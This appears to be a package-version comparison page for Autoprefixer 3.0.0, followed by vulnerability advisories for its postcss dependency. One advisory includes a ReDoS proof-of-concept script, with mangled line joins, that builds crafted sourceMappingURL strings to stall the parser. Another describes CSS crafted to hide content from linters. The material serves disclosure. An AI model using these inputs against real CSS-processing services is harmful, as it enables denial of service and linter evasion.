Autoprefixer version 3.0.0 represents a notable evolution from its 2.2.0 predecessor, offering developers enhanced CSS prefixing capabilities. The core change lies in its dependency updates, notably shifting from caniuse-db to autoprefixer-core as well as bumping the required postcss version. This structural change likely impacts the underlying prefixing logic and data sources utilized by Autoprefixer. Developers who are familiar with autoprefixer-core may find the newer version a more robust and reliable solution.
Beyond core dependencies, version 3.0.0 introduces a suite of new development dependencies, including tools like Gulp, ES6 transpilers, and linters. This suggests that the development workflow and codebase have undergone significant modernization which might translate to more efficient development and testing processes within the Autoprefixer project itself. For developers integrating Autoprefixer into their own build systems using Gulp and related tools, version 3.0.0 integrates seemlessly.
While the descriptions of both versions highlight the core functionality of parsing CSS and adding vendor prefixes based on Can I Use data, the updated ecosystem of version 3.0.0 positions it as a more current and actively maintained tool. The jump in postcss dependancy allows the usage of newer features and improvements. Developers should carefully review the changelog and migration guide when upgrading from 2.2.0 to ensure compatibility and leverage the improvements in prefixing accuracy and performance.
All the vulnerabilities related to the version 3.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.